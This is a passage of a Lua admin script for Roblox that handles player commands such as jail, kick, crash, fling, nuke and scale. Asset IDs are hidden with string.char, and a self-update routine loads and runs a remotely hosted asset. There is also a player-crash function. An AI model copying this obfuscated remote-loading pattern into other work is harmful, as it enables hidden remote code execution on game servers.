943 if Get.Name == "Base" or Get.Name == "BasePlate" then
944 Get:Destroy()
945 end
946 end
947 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
948end
949
950function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
951 if IsAbusive == nil then IsAbusive = false end
952 if Commands[CommandName] then table.remove(Commands[CommandName]) end
953 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
954end
955
956function CORE:FixLighting() coroutine.wrap(function()
957 ModLighting = false
958 wait(0.2)
959 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
960 Server.Lighting.FogColor = Color3.new(0,0,0)
961 Server.Lighting.Brightness = 1
962 Server.Lighting.TimeOfDay = 14
963 Server.Lighting.FogEnd = 100000
964end)() end
965
966function CORE:Round(Number)
967 if Number >= 0.5 then
968 return math.ceil(Number)
969 elseif Number < 0.5 then
970 return math.floor(Number)
971 end
972end
973
974local AdminID,Got = nil,false
975repeat wait()
976 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
977until Got == true
978
979function CORE:GetTable(ID)
980 local Thing = nil
981 repeat wait()
982 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
983 until Thing
984 return Thing
985end
986
987function CORE:InAdminGroup(Speaker)
988 local IsIn = false
989 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
990 if Speaker:IsInGroup(Get) then
991 IsIn = true
992 end
993 end
994 if IsIn == true then
995 return true
996 else
997 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
998 return false
999 end
1000end
1001
1002function CORE:ReverseTable(Table)
1003 if type(Table) ~= "table" then return Table end
1004 local NewTable = {}
1005 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1006 return NewTable
1007end
1008
1009function CORE:Log(LogTable, Player, Chat)
1010 local PlayerName = tostring(Player)
1011 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1012 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1013end
1014
1015function CORE:Jail(Player)
1016 if not Player then return nil end
1017 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1018 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1019 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1020 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1021 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1022 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1023 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1024 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1025 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1026 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1027 Cell:MoveTo(Vector3.new(0,3,0))
1028
1029 if Player.Character and Player.Character:FindFirstChild("Torso") then
1030 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1031 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1032 end
1033 table.insert(Dispose, Cell)
1034 Jails[Player.Name] = Cell
1035end
1036
1037function CORE:UnJail(Player)
1038 if not Player then return nil end
1039 if Jails[Player.Name] then
1040 Jails[Player.Name]:Destroy()
1041 Jails[Player.Name] = nil
1042 end
1043end
1044
1045function CORE:ChangeName(Player, NewName)
1046 if not Player or not NewName then return nil end
1047 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1048 local NewName = STRING:FormatReplace(Player, NewName)
1049
1050 for _,Obj in pairs(Player.Character:GetChildren()) do
1051 if Obj.Name == "Label" then Obj:Destroy() end
1052 end
1053
1054 local Head = Player.Character.Head
1055 local HeadClone = Head:Clone()
1056
1057 -- make actual head invisible
1058 Head.Transparency = 1
1059 ypcall(function() Head.face.Transparency = 1 end)
1060
1061 -- make fake head visible
1062 HeadClone.Transparency = 0
1063 ypcall(function() HeadClone.face.Transparency = 0 end)
1064
1065 local Label = Instance.new("Model", Player.Character)
1066 Label.Name = "Label"
1067
1068 local Model = Instance.new("Model", Label)
1069 Model.Name = NewName
1070
1071 local HumanoidClone = Instance.new("Humanoid", Model)
1072 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1073
1074 HeadClone.Position = Vector3.new(0,100,0)
1075 HeadClone.CanCollide = false
1076 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1077
1078
1079 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1080 HeadClone.Parent = Model
1081 local Weld = Instance.new("Weld", HeadClone)
1082 Weld.Part0 = HeadClone
1083 Weld.Part1 = Head
1084 end)
1085 end
1086end
1087
1088function CORE:UpdateAdmin()
1089 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1090 return nil
1091 end
1092 local UpdateModel = AdminID
1093 if UpdateModel == 0 then return end
1094 local NewAdminModel = nil
1095 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1096 if NewAdminModel then
1097 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1098 if NewAdmin then
1099 local NewVersion = NewAdmin:FindFirstChild("Version")
1100 if NewVersion.Value ~= CORE.Version.Value then
1101 if ExploitModule then
1102 ExploitModule.Disabled = true
1103 ExploitModule:Destroy()
1104 end
1105 NewAdmin.Disabled = true
1106 NewAdmin.Parent = Workspace
1107 if not Settings then
1108 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1109 if NewSettings then NewSettings.Parent = Workspace end
1110 end
1111 wait() NewAdmin.Disabled = false
1112 CORE:RemoveAdmin()
1113 else
1114 NewAdminModel:Destroy()
1115 end
1116 end
1117 end
1118end
1119
1120function CORE:UnpackPlayers(Players)
1121 local PlayerNames = ""
1122 for Num,Player in pairs(Players) do
1123 if Player ~= nil then
1124 if Num ~= #Players then
1125 PlayerNames = PlayerNames..Player.Name..", "
1126 else
1127 PlayerNames = PlayerNames..Player.Name
1128 end
1129 end
1130 end
1131 return PlayerNames
1132end
1133
1134function CORE:GetValue(Value)
1135 if Value:IsA("StringValue") then
1136 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1137 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1138 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1139 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1140 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1141 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1142 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1143 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1144 if Admin == Value.Value then
1145 table.remove(Settings.Ranks["Admin"],Num)
1146 end
1147 end
1148 end end
1149 end
1150end
1151
1152function CORE:GetPlayer(ID)
1153 local Return = {"Unknown", ID}
1154 if tonumber(ID) then
1155 for _,Data in pairs(CharacterCache) do
1156 if ID == Data[2] then
1157 return Data
1158 end
1159 end
1160 ypcall(function()
1161 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1162 if Name then
1163 local Data = {Name, ID}
1164 table.insert(CharacterCache, Data)
1165 Return = Data
1166 end
1167 end)
1168 else
1169 local Name = tostring(ID)
1170 for _,Data in pairs(CharacterCache) do
1171 if string.lower(Name) == string.lower(Data[1]) then
1172 return Data
1173 end
1174 end
1175 ypcall(function()
1176 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1177 if PlayerID then
1178 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1179 local Data = {Name, PlayerID}
1180 table.insert(CharacterCache, Data)
1181 Return = Data
1182 end
1183 end)
1184 end
1185
1186 return Return
1187end
1188
1189function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1190 if ID and #tostring(ID) >= 1 then
1191 local PlayerName = nil
1192
1193 local Players = STRING:Scan(ID, Speaker)
1194 if #Players >= 1 then -- if player is found in server
1195 ID = Players[1].UserId
1196 elseif tonumber(ID) then
1197 local Data = CORE:GetPlayer(ID)
1198 PlayerName = Data[1]
1199 else
1200 local Data = CORE:GetPlayer(tostring(ID))
1201 PlayerName = Data[1]
1202 ID = Data[2]
1203 end
1204
1205 if tonumber(ID) == 20018 then -- exploding easter bunny
1206 local OldID = ID
1207 ID = 1
1208 if Speaker then
1209 if RANK:GetRank(Speaker) == "Member" then
1210 coroutine.wrap(function()
1211 wait(1)
1212 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1213 end)()
1214 else ID = OldID
1215 end
1216 end
1217 elseif tonumber(ID) == 1311 then -- ffjosh
1218 local OldID = ID
1219 ID = 1
1220 if Speaker then
1221 if RANK:GetRank(Speaker) == "Member" then
1222 coroutine.wrap(function()
1223 wait(1)
1224 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1225 end)()
1226 else ID = OldID
1227 end
1228 end
1229 end
1230
1231 if tonumber(ID) then
1232 local Position = nil
1233 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1234 if ManualPos then
1235 Position = ManualPos
1236 else
1237 Position = Player.Character.Torso.Position
1238 end
1239 end
1240 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1241 wait() Player:LoadCharacter() wait()
1242 if Position then Player.Character:MoveTo(Position) end
1243 if not Perm then
1244 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1245 end
1246 if NameChar and PlayerName then
1247 wait(2)
1248 CORE:ChangeName(Player, PlayerName)
1249 end
1250 end
1251 end
1252end)() end
1253
1254function CORE:GenerateShield(Player)
1255 if not Player then return nil end
1256 if not Player.Character then return nil end
1257 local Torso = Player.Character:FindFirstChild("Torso")
1258 if not Torso then return nil end
1259
1260 local Shield = Player.Character:FindFirstChild("Shield")
1261 if Shield then Shield:Destroy() end
1262
1263 Shield = Instance.new("Part", Player.Character)
1264 Shield.Name = "Shield"
1265 Shield.Locked = true
1266 Shield.CanCollide = false
1267 Shield.Size = Vector3.new(10,10,10)
1268 Shield.Shape = "Ball"
1269 Shield.Color = GUI:GetColor()
1270 Shield.Transparency = 0.5
1271 Shield.TopSurface = "Smooth"
1272 Shield.BottomSurface = "Smooth"
1273 Shield.Anchored = true
1274 Shield.Position = Torso.Position
1275
1276 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1277 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1278
1279 Hum:Play()
1280
1281 Shield.Touched:connect(function(Part)
1282 if Part.Parent ~= Server.Workspace then
1283 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1284 if Humanoid then
1285 local Char = Humanoid.Parent
1286 if Char:IsA("Model") and Humanoid.Health > 0 then
1287 if Char ~= Player.Character then
1288 Char:BreakJoints()
1289 Zap:Play()
1290 end
1291 end
1292 end
1293 end
1294 end)
1295
1296 coroutine.wrap(function() repeat wait()
1297 Shield.CFrame = Torso.CFrame
1298 until Torso.Parent == nil or Shield.Parent == nil end)()
1299end
1300
1301function CORE:FlingPlayer(Player)
1302 if Player and Player.Character then
1303 if Player.Character:FindFirstChild("Torso") then
1304 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1305 Fling.Name = "Fling"
1306 Fling.force = Vector3.new(10000,10000,10000)
1307 end
1308 end
1309end
1310
1311function CORE:Kick(Player, CustomMessage)
1312 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1313 coroutine.wrap(function()
1314 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1315 wait(1)
1316 Player:Kick(CustomMessage)
1317 end)()
1318end
1319
1320function CORE:Crash(Player)
1321 local Parent = Player
1322 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1323 elseif Player.Character then Parent = Player.Character end
1324
1325 CORE:ExecuteResource("Crash", Parent)
1326end
1327
1328function CORE:RestoreCamera(Player)
1329 if Player.Backpack then
1330 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1331 end
1332end
1333
1334function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1335 local function ScanInstance(Object)
1336 if #Object:GetChildren() > 0 then
1337 for _,Obj in pairs(Object:GetChildren()) do
1338 local IsType = false
1339 if ObjTypes and #ObjTypes > 0 then
1340 for _,ObjType in pairs(ObjTypes) do
1341 if Obj:IsA(ObjType) then
1342 IsType = true
1343 break
1344 end
1345 end
1346 else
1347 IsType = true
1348 end
1349 if IsType == true then
1350 ActiveFunc(Obj)
1351 end
1352 ScanInstance(Obj)
1353 end
1354 end
1355 end
1356 ScanInstance(BaseObj)
1357end
1358
1359function CORE:AnchorPlayer(Player)
1360 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1361
1362 Player.Character.Humanoid.WalkSpeed = 0
1363 for _,Object in pairs(Player.Character:GetChildren()) do
1364 if Object:IsA("BasePart") then
1365 Object.Anchored = true
1366 end
1367 end
1368end
1369
1370function CORE:UnanchorPlayer(Player)
1371 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1372
1373 Player.Character.Humanoid.WalkSpeed = 16
1374 for _,Object in pairs(Player.Character:GetChildren()) do
1375 if Object:IsA("BasePart") then
1376 Object.Anchored = false
1377 end
1378 end
1379end
1380
1381function CORE:InvisiblePlayer(Player)
1382 if not Player or not Player.Character then return end
1383
1384 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1385end
1386
1387function CORE:VisiblePlayer(Player)
1388 if not Player or not Player.Character then return end
1389
1390 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1391end
1392
1393function CORE:Nuke(Player) coroutine.wrap(function()
1394 msg = Instance.new("Message",workspace)
1395 msg.Text = "NUKE INCOMING!"
1396 wait(10)
1397 msg:Destroy()
1398local Pos = CFrame.new(0,1,0)
1399 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1400 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1401 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1402 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1403 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1404 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1405
1406 Server.Lighting.Brightness = 5
1407 Server.Lighting.Ambient = Color3.new(255, 0, 0)
1408 Server.Lighting.OutdoorAmbient = Color3.new(1,1,1)
1409
1410 local Exp = Instance.new("Explosion", Server.Workspace)
1411 Exp.Position = Pos.p
1412 Exp.BlastPressure = 10000000
1413 Exp.BlastRadius = 1000000
1414 Exp.Hit:connect(function(Part)
1415 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1416 ypcall(function()
1417 Part.Anchored = false
1418 Part.BrickColor = BrickColor.new("Black")
1419 Part.Material = "Slate"
1420 Part:BreakJoints()
1421 end)
1422 end
1423 end)
1424
1425 local BoomSound = Instance.new("Sound",workspace)
1426 BoomSound.Volume = 10
1427 BoomSound.SoundId = "rbxassetid://212389494"
1428 BoomSound:Play()
1429 for i = 0,100,0.5 do
1430 Blast.Anchored = true
1431 Wave.Anchored = true
1432 BlastMesh.Scale = Vector3.new(i,i,i)
1433 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1434 Blast.CFrame = Pos
1435 wait()
1436 end
1437 BoomSound:Stop()
1438 Blast:Destroy()
1439 Wave:Destroy()
1440 wait()
1441 BoomSound:Destroy()
1442 for i = 10,5,-1 do
1443 Server.Lighting.Brightness = (i-5) + 1
1444 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1445 Server.Lighting.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1446 wait(0.05)
1447 end
1448end)() end
1449
1450function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1451 local AssetID = tonumber(AssetID)
1452 local Item = nil
1453 if AssetID and AssetID ~= 1055299 then
1454 local CanInsert = true
1455 if AbuseMode then
1456 for _,ID in pairs(RemoteAbuseGear) do
1457 if AssetID == tonumber(ID) then CanInsert = false break end
1458 end
1459 for _,ID in pairs(Settings.AbusableGear) do
1460 if AssetID == tonumber(ID) then CanInsert = false break end
1461 end
1462 end
1463 if CanInsert then
1464 Item = Server.IS:LoadAsset(AssetID)
1465 if GetFirstChild then
1466 Item = Item:GetChildren()[1]
1467 if FirstChildTypes and Item then
1468 local ValidType = false
1469 for _,Type in pairs(FirstChildTypes) do
1470 if Item:IsA(Type) then
1471 ValidType = true
1472 break
1473 end
1474 end
1475 if ValidType == false then
1476 Item = nil
1477 end
1478 end
1479 end
1480 if Item and Parent then
1481 Item.Parent = Parent
1482 end
1483 end
1484 end
1485 return Item
1486end
1487
1488function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1489 if not Player or not Player.Character then return nil end
1490 PID = tonumber(PID)
1491 for _,Obj in pairs(Player.Character:GetChildren()) do
1492 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1493 end
1494 if PID then
1495 -- back when we needed HttpService to get packages.
1496 --[[
1497 if PackageCache[PID] then
1498 for _,ID in pairs(PackageCache[PID]) do
1499 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1500 end
1501 else
1502 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1503 if IDsJSON then
1504 local IDs = REMOTE:Decode(IDsJSON)
1505 if IDs then
1506 if not IDs["Error"] then
1507 table.insert(PackageCache, IDs)
1508 for _,ID in pairs(IDs) do
1509 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1510 end
1511 end
1512 end
1513 end
1514 end
1515 ]]
1516 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1517 local IDs = {}
1518 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1519 if #IDs > 0 then
1520 for _,ID in pairs(IDs) do
1521 local PackagePart = CORE:Insert(ID)
1522 for _,Obj in pairs(PackagePart:GetChildren()) do
1523 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1524 Obj.Parent = Player.Character
1525 elseif Obj:IsA("Folder") then
1526 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1527 Obj:GetChildren()[1].Parent = Player.Character
1528 end
1529 end
1530 end
1531 end
1532 end
1533 end
1534end)() end
1535
1536function CORE:ChangeBet(Bet)
1537 if tostring(Bet) and Bet ~= Settings.Bet then
1538 for Index,Data in pairs(Commands) do
1539 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1540 end
1541 Settings.Bet = Bet
1542 end
1543end
1544
1545function CORE:ResetLighting()
1546 ModLighting = false wait(0.2) ModLighting = true
1547end
1548
1549function CORE:Fly(Player, Force)
1550 if Player and Player.Character then
1551 local StopFly = Instance.new("RemoteFunction", Player.Character)
1552 StopFly.Name = "StopMMLFly"
1553 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1554 end
1555end
1556
1557function CORE:GiveTools(Player, Type)
1558 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1559 Type = string.lower(Type)
1560 local _,RankNum = RANK:GetRank(Player)
1561 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1562 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1563
1564 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1565 for Name,Type in pairs(BaseBuildTools) do
1566 local Tool = Instance.new("HopperBin", Player.Backpack)
1567 Tool.Name = Name
1568 Tool.BinType = Type
1569 end
1570 elseif Type == "psbtools" then
1571 for _,Tool in pairs(BuildTools) do
1572 CORE:Insert(Tool, Player.Backpack, true)
1573 end
1574 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1575 if F3X then
1576 local F3X = F3X:Clone()
1577 F3X.Parent = Player.Backpack
1578 end
1579 elseif Type == "btools" then
1580 if F3X then
1581 local F3X = F3X:Clone()
1582 F3X.Parent = Player.Backpack
1583 end
1584 for Name,Type in pairs(BaseBuildTools) do
1585 local Tool = Instance.new("HopperBin", Player.Backpack)
1586 Tool.Name = Name
1587 Tool.BinType = Type
1588 end
1589 for _,Tool in pairs(BuildTools) do
1590 CORE:Insert(Tool, Player.Backpack, true)
1591 end
1592 else
1593 for _,Region in pairs(ToolRegions) do
1594 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1595 if Type == "all" then
1596 local NewItem = Item:Clone()
1597 NewItem.Parent = Player.Backpack
1598 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1599 local NewItem = Item:Clone()
1600 NewItem.Parent = Player.Backpack
1601 end
1602 end)
1603 end
1604 end
1605end
1606
1607function CORE:Scale(Player, ScalePercent)
1608 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1609 local Ratio = ScalePercent/100
1610 if Ratio < 0.05 then Ratio = 0.05 end
1611 if Ratio > 100 then Ratio = 100 end
1612 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1613 local Char = Player.Character
1614
1615 local Clean = Char:FindFirstChild("Clean")
1616 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1617 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1618
1619 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1620 local Welds = {}
1621 local Parts = {}
1622
1623 local function Handle(Obj)
1624 if Obj:IsA("BasePart") and not JustWeld then
1625 table.insert(Parts, Obj)
1626 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1627 if Obj.Name == "MML Mesh" then
1628 Obj:Destroy()
1629 end
1630 if Obj.MeshType == Enum.MeshType.FileMesh then
1631 Obj.Offset = Obj.Offset * ScaleRatio
1632 Obj.Scale = Obj.Scale * ScaleRatio
1633 elseif Ratio < 1 then
1634 Obj.Offset = Obj.Offset * ScaleRatio
1635 Obj.Scale = Obj.Scale * ScaleRatio
1636 end
1637 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1638 if Ratio < 1 then
1639 local BodyPart = ""
1640 local TextureID = Obj.BaseTextureId
1641 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1642 if TextureID == 0 then TextureID = nil end
1643 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1644 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1645 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1646 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1647 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1648 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1649 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1650 NewMesh.Name = "MML Mesh"
1651 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1652 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1653 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1654 Obj:Destroy()
1655 end
1656 elseif Obj:IsA("JointInstance") then
1657 local NewWeld = Obj:Clone()
1658 table.insert(Welds, {NewWeld, Obj.Parent})
1659 elseif NewAdd == true and not JustWeld then
1660 if Obj:IsA("Tool") then
1661 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1662 elseif Obj:IsA("Accoutrement") then
1663 --Cycle(Char.Head, ScaleRatio, false, true)
1664 end
1665 end
1666 if #Obj:GetChildren() > 0 then
1667 for _,NewObj in pairs(Obj:GetChildren()) do
1668 Handle(NewObj, ScaleRatio)
1669 end
1670 end
1671 end
1672 Handle(BaseObj)
1673 for _,Part in pairs(Parts) do
1674 if Ratio >= 1 then
1675 Part.Size = Part.Size * ScaleRatio
1676 else
1677 local Allowed = true
1678 for _,Obj in pairs(Part:GetChildren()) do
1679 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1680 Allowed = false
1681 end
1682 end
1683 if Allowed == true then
1684 local NewMesh = Instance.new("BlockMesh", Part)
1685 NewMesh.Name = "MML Mesh"
1686 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1687 end
1688 end
1689 end
1690 for _,WeldData in pairs(Welds) do
1691 if WeldData[1] then
1692 local Obj = WeldData[1]
1693 local NewWeld = Obj:Clone()
1694
1695 NewWeld.Parent = WeldData[2]
1696 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1697 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1698 end
1699 end
1700 for _,Part in pairs(Parts) do
1701 Part:MakeJoints()
1702 end
1703 Welds = {}
1704 Parts = {}
1705 end
1706 Cycle(Char, Ratio)
1707 Char:MakeJoints()
1708
1709 local Added = Char.ChildAdded:connect(function(Obj)
1710 Cycle(Obj, Ratio, NewAdd)
1711 end)
1712 local Removed = Char.ChildRemoved:connect(function(Obj)
1713 Cycle(Obj, Ratio^-1, NewAdd)
1714 end)
1715
1716 Clean.OnInvoke = function()
1717 Added:disconnect()
1718 Removed:disconnect()
1719 local Location = Vector3.new(0,5,0)
1720 if Char:FindFirstChild("Torso") then
1721 Location = Char.Torso.Position + Vector3.new(0,2,0)
1722 end
1723 Player:LoadCharacter()
1724 wait(0.5)
1725 Player.Character:MoveTo(Location)
1726 wait(0.5)
1727 return nil
1728 end
1729
1730 if Char:FindFirstChild("Torso") then
1731 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1732 end
1733 if Char:FindFirstChild("Humanoid") then
1734 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1735 end
1736 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1737 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1738 end
1739end
1740
1741function CORE:AddExploit(PlayerClient, Data)
1742 local PlayerClientName = PlayerClient.Name
